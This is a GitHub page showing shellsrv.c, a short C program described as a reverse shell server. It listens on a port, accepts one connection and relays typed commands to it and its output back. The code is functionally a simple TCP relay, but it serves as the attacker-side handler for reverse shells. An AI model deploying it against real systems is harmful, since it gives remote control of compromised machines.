-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellsrv.c
More file actions
84 lines (65 loc) · 1.7 KB
/
shellsrv.c
File metadata and controls
84 lines (65 loc) · 1.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// reverse shell server code goes here
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/user.h>
void error(char *msg){
perror(msg);
exit(0);
}
int main(int argc, char *argv[]){
int port;
if(argc<2){
printf("Invalid input args!\n Usage: ./shellsrv [port] \n");
exit(1);
}else{
port = atoi(argv[1]);
}
int sockfd, connfd;
char buf[1024];
struct sockaddr_in serv_addr, cli_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0){
error("Error, while opening socket\n");
}
int on = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
int status = bind(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
if(status < 0){
error("Error on binding\n");
}
listen(sockfd, 1);
socklen_t cli_addr_len = sizeof(cli_addr);
connfd = accept(sockfd, (struct sockaddr *)&cli_addr, &cli_addr_len);
if(connfd < 0){
error("Error, while accept\n");
}
int pid = fork();
if(pid<0){
error("Error, Couldn't create process\n");
}
else if(pid==0){
// keep read
while(1){
int n = read(connfd, buf, 1024);
write(1, buf, n);
}
}
else if(pid > 0){
// input commands
while(1){
int n = read(0, buf,sizeof(buf));
write(connfd, buf, n);
}
}
close(sockfd);
}